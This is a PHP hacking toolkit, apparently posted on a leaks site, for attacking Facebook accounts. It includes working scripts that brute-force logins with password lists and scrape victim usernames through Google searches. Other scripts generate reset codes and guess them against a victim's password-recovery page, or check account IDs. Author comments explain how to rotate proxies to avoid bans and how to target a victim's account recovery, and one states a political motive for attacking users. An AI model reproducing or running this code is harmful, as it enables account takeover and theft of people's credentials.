PHP Facebook Password Bruteforce Script With Video ★ReskayLeaks★ Facebook Kit
Facebook Kit Hacker v 1.2
'; echo '
'.base64_decode("PGltZyBzcmM9Imh0dHA6Ly9oYWNrLXRvdXQuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE0LzAyL0ZhY2Vib29rLnBuZyIvPg==").'
'; echo '
'; echo '
'; ?>
 Home   FB Brute Force   FB Ghost Catcher   FB Reset Code   Reset Code Generator   FB ID Generator   FB ID Checker 

textarea { resize:none; color: #1975FF ; border:1px solid #1975FF ; border-left: 4px solid #1975FF ; } input { color: ##33CCFF; border:1px dotted #33CCFF; }

Facebook ID Generator

Facebook ID Generator
Number Of ID :



'; $len = $_POST['len']; $nr = $_POST['nr']; if ($_POST['fbmailgen']) { echo"
"; echo "

"; } } if(isset($_GET['action']) && $_GET['action'] == 'passgen'){ @error_reporting(0); function getRandomString() { //Facebook Email Admin Page Default Lenght is 13 so don't change it xD wkwkwkkw ! $validCharacters = "0123456789"; // Here you are free to choose how to randomize your words ^_^ $validCharNumber = strlen($validCharacters); $len = 6; $result = ""; for ($i = 0; $i < $len; $i++) { $index = mt_rand(0, $validCharNumber - 1); $result .= $validCharacters[$index]; } return $result; } echo'

Facebook Reset Code Generator

Facebook Reset Code Generator
Number Of Reset Codes :   


'; $len = $_POST['len']; $nr = $_POST['nr']; if ($_POST['fbmailgen']) { echo"
"; echo "

"; } } if(isset($_GET['action']) && $_GET['action'] == 'brut'){ echo" F4c3b00k Gh0sT
Facebook Gh0sT Catcher by n0name-hax0r & Mauritania Attacker

Server








(Use this tool using proxy and change the proxy every 1-2 mins to avoid getting banned from google)

"; set_time_limit(0); ini_set('memory_limit', '64M'); header('Content-Type: text/html; charset=UTF-8'); function letItBy(){ ob_flush(); flush(); } $country = $_POST['country']; $victim = $_POST['victim']; $bing = "{$country}"."{$victim}"; $password = explode("\r\n",$_POST['pass']); //Function that gets google urls function google_that($query, $page=1) { $resultPerPage=8; $start = $page*$resultPerPage; $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query); $resultFromGoogle = json_decode( http_get($url, true) ,true); if(isset($resultFromGoogle['responseStatus'])) { if($resultFromGoogle['responseStatus'] != '200') return false; if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false; else return $resultFromGoogle['responseData']['results']; } else die('The function ' . __FUNCTION__ . ' Kill me :(
' . $url ); } function http_get($url, $safemode = false){ if($safemode === true) sleep(1); $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close(); } function brute($user,$pass){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}"); curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125"); $login = curl_exec($ch); //print_r($login); $check = (eregi('class="s t i u"',$login)) ? true:false; if($check == true){ echo "

Not the right one :( || Username : $user  Password : $pass

"; }else{ echo "

This Password Seems Working !Try It ^_^ || Username: $user  Password : $pass

"; } } if(isset($_POST['start'])){ letItBy(); for($googlePage = 1; $googlePage <= 50; $googlePage++) { $googleResult = google_that($bing, $googlePage); if(!$googleResult) { echo 'Finished scanning.'; break; } // Gets the username of victim for($victim = 0; $victim < sizeof($googleResult); $victim++){ $result = $googleResult[$victim]['unescapedUrl']; if($country == "site:fr-fr.facebook.com/"){ $rsss = str_replace("https://fr-fr.facebook.com/","",$result); } elseif($country == "site:ar-ar.facebook.com/"){ $rsss = str_replace("https://ar-ar.facebook.com/","",$result); } elseif($country == "site:es-es.facebook.com/"){ $rsss = str_replace("https://es-es.facebook.com/","",$result); } elseif($country == "site:tr-tr.facebook.com/"){ $rsss = str_replace("https://tr-tr.facebook.com/","",$result); } elseif($country == "site:de-de.facebook.com/"){ $rsss = str_replace("https://de-de.facebook.com/","",$result); } elseif($country == "site:pt-pt.facebook.com/"){ $rsss = str_replace("https://pt-pt.facebook.com/","",$result); } elseif($country == "site:it-it.facebook.com/"){ $rsss = str_replace("https://it-it.facebook.com/","",$result); } elseif($country == "site:hi-in.facebook.com/"){ $rsss = str_replace("https://hi-in.facebook.com/","",$result); } elseif($country == "site:zh-cn.facebook.com/"){ $rsss = str_replace("https://zh-cn.facebook.com/","",$result); } elseif($country == "site:sr-rs.facebook.com/"){ $rsss = str_replace("https://sr-rs.facebook.com/","",$result); } elseif($country == "site:el-gr.facebook.com/"){ $rsss = str_replace("https://el-gr.facebook.com/","",$result); } elseif($country == "site:he-il.facebook.com/"){ $rsss = str_replace("https://he-il.facebook.com/","",$result); } elseif($country == "site:id-id.facebook.com/"){ $rsss = str_replace("https://id-id.facebook.com/","",$result); } elseif($country == "site:ru-ru.facebook.com/"){ $rsss = str_replace("https://ru-ru.facebook.com/","",$result); } elseif($country == "site:nl-nl.facebook.com/"){ $rsss = str_replace("https://nl-nl.facebook.com/","",$result); } elseif($country == "site:bg-bg.facebook.com/"){ $rsss = str_replace("https://bg-bg.facebook.com/","",$result); } elseif($country == "site:mk-mk.facebook.com/"){ $rsss = str_replace("https://mk-mk.facebook.com/","",$result); } elseif($country == "site:uk-ua.facebook.com/"){ $rsss = str_replace("https://uk-ua.facebook.com/","",$result); } $users = explode("?", $rsss); $users = $users[0]; //Bruteforce Function foreach($password as $pass) { echo brute($users,$pass); } } } } @system("del cookie.txt"); //Delete cookies command for win server. @system("rm cookie.txt"); // Delete cookies command for linux server. } if(isset($_GET['action']) && $_GET['action'] == 'baipas'){ ob_start(); @set_time_limit(0); ################################################# #---------------------------------------------- # # Facebook Brute Force 2014 # #Coded by : Mauritania Attacker&Noname-Haxor # #Greetz : All AnonGhost Members # #This Tool Is For Erasing Israel in Fb # # --------------------------------------------- # ################################################# echo "
Facebook Brute Force 2014 "; echo "
Facebook Multi-Account BruteForce by Mauritania Attacker&Noname-Haxor




"; if(isset($_POST['scan'])){ #To Put Proxy SOCKS V5 //curl_setopt($ch, CURLOPT_PROXY, "proxy:port"); //curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); function brute($user,$pass){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}"); curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125"); $login = curl_exec($ch); //print_r($login); $check = (eregi('class="s t i u"',$login)) ? true:false; if($check == true){ echo "

Not the right one :( || Username : $user  Password : $pass

"; }else{ echo "

This Password Seems Working !Try It ^_^ || Username: $user  Password : $pass

"; } } $username = explode("\n", $_POST['username']); $password = explode("\n", $_POST['password']); foreach($username as $users) { $users = @trim($users); foreach($password as $pass) { $pass = @trim($pass); echo brute($users,$pass); } } @system("del cookie.txt"); //Delete cookies command for win server. @system("rm cookie.txt"); // Delete cookies command for linux server. } echo"



"; } if(isset($_GET['action']) && $_GET['action'] == 'crack'){ /* [+] Facebook Code Security Cracker [+] Coded By : Mauritania Attacker [+] GreetZ : All AnonGhost MemberZ [+] FuCk Priv888888888888888888888 ~~HACKING IS ART OF EXPLOITATION~~ <3 <3 <3 I'm not educated , I hate school , Hacking is my life xD !!!!!!!!!!!!!!!!!!!!!!!!!! <3 <3 <3 // How to use: Restore your victim account and better choose the email option :p , and the rest is to use your mind \!/ I suggest you to use an auto rotating proxy after each 2 minutes so you won't get banned :D , i've bypassed already the captcha security and cookies ,so facebook won't let you try many attempts so proxy is the solution ! you still can add a proxy socks v5 option in Curl only two lines : curl_setopt($ch, CURLOPT_PROXY, "proxy:port"); curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); You can edit my script and try to develop it more if you have some ideas you are free , but don't forget the Copyright wkwkwkwkwkwk xd <3 Sharing is Caring \!/ Sorry my english is bad and i'm lazy xD ! */ @set_time_limit(0); echo " Facebook Code Security Cracker > By Mauritania Attacker
Facebook 0day Exploit Reset Code Priv8 By Mauritania Attacker





"; $target=$_POST['target']; $user = explode("\r\n", $_POST['code']); if($_POST['scan']) { foreach($user as $code) { // Curl Function ^_^ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/recover/password?u={$target}&n={$code}"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); // change this with your real useragent infos (browser & version) $check = curl_exec($ch); if(eregi("password_new", $check)) //Keyword Good Response ^_^ { echo "{$code} => Facebook Confirmation Code Found ^_^
"; } else { echo "{$code} => Incorrect Code Trying More...
"; } curl_close($ch); } } @system("del cookie.txt"); //Delete cookies command for win server. @system("rm cookie.txt"); // Delete cookies command for linux server. } echo "
"; ob_end_flush(); echo '
Coded By Mauritania Attacker & n0name-hax0r
'; if(isset($_GET['action']) && $_GET['action'] == 'graph'){ @set_time_limit(0); echo "
Facebook ID's Checker By Mauritania Attacker
Facebook ID's Checker By Mauritania Attacker




"; $user = explode("\r\n", $_POST['code']); if($_POST['scan']) { foreach($user as $code) { // Curl Function ^_^ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://graph.facebook.com/{$code}"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); $check = curl_exec($ch); if(eregi("username", $check)) //Keyword Good Response ^_^ { echo "{$code} => ID IS CORRECT ^_^
"; } else { echo "{$code} => ID IS FALSE :(...
"; } curl_close($ch); } } @system("del cookie.txt"); //Delete cookies command for win server. @system("rm cookie.txt"); // Delete cookies command for linux server. } echo "
"; ob_end_flush(); echo '
Coded By Mauritania Attacker & n0name-hax0r
'; ?>